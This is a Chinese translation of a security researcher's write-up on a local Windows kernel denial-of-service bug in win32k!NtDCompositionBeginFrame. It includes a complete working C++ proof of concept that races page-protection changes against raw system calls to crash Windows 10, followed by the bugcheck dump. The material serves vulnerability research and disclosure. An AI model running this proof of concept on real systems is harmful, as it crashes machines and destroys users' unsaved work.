这个星期,我们使用另一种未处理的异常ring-0代码方式使Windows内核本地崩溃(如果你不太懂,可以看上周的DoS在win32k!NtUserThunkedMenuItemInfo)。今天,这个bug是在win32k!NtDCompositionBeginFrame
系统调用处理程序中的,其开始可以转换为以下类似C的伪代码:
由于我不知道I/O结构的名字和定义,我统称他们为INPUT_STRUCTURE
和OUTPUT_STRUCTURE
。在这里,我们可以看到第二个参数(lpInput
)被访问了两次:第一次在第9行,对内联ProbeForRead
调用和一个try/except
块进行适当清理,第二次在23行,其中字段偏移0x10(
在上面的列表中),SomeField
是从用户指针读取的,而异常处理被禁用。该Template_xq
函数只是一个用于记录内核模式事件的thin wrapper around
EtwWrite
。这就是我们想要利用的错误。
为了达到vulnerable code,我们必须满足几个条件:
- 确保来自第9行中指针的初始副本成功,即地址有效,并指向可读存储器。这可以通过运行race condition attack来满足,其中一个线程连续地flips存储器页的访问权限,而另一个线程在循环中继续调用受影响的系统调用。
DirectComposition::CConnection::ReferenceHandle
通过传递一个有效的句柄,这个函数win32k!NtDCompositionCreateConnection可以通过提前调用系统调用来获得
。- 在全局
Microsoft_Windows_Win32kEnableBits
变量中设置0x1 flag。
直观上,第三个条件与其他条件一样重要,因为Template_xq
只有在表达式的计算结果为真时才会发生调用。Windows 8.1(两者都是bitnesses)的确如此:
Windows 8.1 32位
然而,由于不清楚的原因,用于构建Windows 10的编译器重新排序了代码,使得在检查条件之前发生不安全的内存访问 ,即使结果值仅在设置0x1 flag时使用:
Windows 10 32位
我不知道一个编译器错误是如何工作的,特别是考虑到将两个指令移动到上一个基本块的deoptimization
。事实上,它甚至可能是deoptimization
,正如所讨论的不是仅当日志功能被调用时指令才执行的。我们不知道它根据什么触发了这个行为,以及相关的编译器逻辑如何工作,但是其他错误可以插入到内核的各个地方。要实现这种现象可能需要更多的实验。
无论如何,我们不必关心win32k.sys
配置位掩码来构建Windows 10的工作验证概念,生成的代码(其他两个提到的条件)可以采取以下简单的形式:
#include <Windows.h> #include <winternl.h> #include <cstdio> namespace globals { LPVOID lpVolatileMem; } // namespace globals // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } DWORD ThreadRoutine(LPVOID lpParameter) { DWORD flOldProtect; // Indefinitely alternate between R/W and NOACCESS rights. while (1) { VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_NOACCESS, &flOldProtect); VirtualProtect(globals::lpVolatileMem, 0x1000, PAGE_READWRITE, &flOldProtect); } } int main() { // Windows 10 1607 32-bit. CONST ULONG __NR_NtDCompositionCreateConnection = 0x140d; CONST ULONG __NR_NtDCompositionBeginFrame = 0x1403; // Initialize the thread as GUI. LoadLibrary(L"user32.dll"); // Allocate memory for the buffer whose privileges are being flipped. globals::lpVolatileMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Create the racing thread. CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL); // Create the connection. HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); DWORD hDComp = 0; NTSTATUS st = SystemCall32(__NR_NtDCompositionCreateConnection, hEvent, &hDComp); if (!NT_SUCCESS(st)) { printf("NtDCompositionCreateConnection failed, %x\n", st); return 1; } // Infinite loop trying to trigger the unhandled exception. while (1) { SystemCall32(__NR_NtDCompositionBeginFrame, hDComp, globals::lpVolatileMem); } return 0; }
启动以上程序几秒钟后会产生以下BSoD:
Windows 10死亡蓝屏
完整的崩溃摘要如下:
KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 9743cbd7, The address that the exception occurred at Arg3: 00000000, Parameter 0 of the exception Arg4: 00380010, Parameter 1 of the exception Debugging Details: ------------------ EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. FAULTING_IP: win32kbase!NtDCompositionBeginFrame+81 9743cbd7 8b4110 mov eax,dword ptr [ecx+10h] EXCEPTION_PARAMETER2: 00380010 BUGCHECK_STR: 0x1E_c0000005_R DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT PROCESS_NAME: NtDComposition CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre EXCEPTION_RECORD: bd4e7a18 -- (.exr 0xffffffffbd4e7a18) ExceptionAddress: 9743cbd7 (win32kbase!NtDCompositionBeginFrame+0x00000081) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00380010 Attempt to read from address 00380010 TRAP_FRAME: bd4e7afc -- (.trap 0xffffffffbd4e7afc) ErrCode = 00000000 eax=00000000 ebx=97270412 ecx=00380000 edx=00000000 esi=00000000 edi=bd4e7ba8 eip=9743cbd7 esp=bd4e7b70 ebp=bd4e7c00 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 win32kbase!NtDCompositionBeginFrame+0x81: 9743cbd7 8b4110 mov eax,dword ptr [ecx+10h] ds:0023:00380010=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 8180be66 to 8178b554 STACK_TEXT: bd4e7044 8180be66 00000003 b8aac5dd 00000065 nt!RtlpBreakWithStatusInstruction bd4e7098 8180b8b3 8497f340 bd4e74b8 bd4e74ec nt!KiBugCheckDebugBreak+0x1f bd4e748c 8178a39a 0000001e c0000005 9743cbd7 nt!KeBugCheck2+0x73a bd4e74b0 8178a2d1 0000001e c0000005 9743cbd7 nt!KiBugCheck2+0xc6 bd4e74d0 8180950c 0000001e c0000005 9743cbd7 nt!KeBugCheckEx+0x19 bd4e74ec 8179dba2 bd4e7a18 818ad328 bd4e75e0 nt!KiFatalExceptionHandler+0x1a bd4e7510 8179db74 bd4e7a18 818ad328 bd4e75e0 nt!ExecuteHandler2+0x26 bd4e75d0 81702f41 bd4e7a18 bd4e75e0 00010037 nt!ExecuteHandler+0x24 bd4e79fc 81799535 bd4e7a18 00000000 bd4e7afc nt!KiDispatchException+0x127 bd4e7a68 8179be37 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51 bd4e7a68 9743cbd7 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 bd4e7c00 81798777 00000004 00380000 001cfcc1 win32kbase!NtDCompositionBeginFrame+0x81 bd4e7c00 001d1bb6 00000004 00380000 001cfcc1 nt!KiSystemServicePostCall 006ff7ac 001d1cde 00001403 00000004 00380000 NtDCompositionBeginFrame!SystemCall32+0x26 006ff8cc 001d249a 00000001 008a1d68 008a4c28 NtDCompositionBeginFrame!main+0xfe 006ff918 001d267d 006ff934 74808e94 00528000 NtDCompositionBeginFrame!__tmainCRTStartup+0x11a 006ff920 74808e94 00528000 74808e70 b858fdc5 NtDCompositionBeginFrame!mainCRTStartup+0xd 006ff934 76f8e9f2 00528000 2ec6a92b 00000000 KERNEL32!BaseThreadInitThunk+0x24 006ff97c 76f8e9c1 ffffffff 76fd5d16 00000000 ntdll!__RtlUserThreadStart+0x2b 006ff98c 00000000 001cfcc1 00528000 00000000 ntdll!_RtlUserThreadStart+0x1b
就是这样。:)感谢您的阅读,下次再见!
*参考:j00ru,MottoIN小编编译发布,转载请注明来自MottoIN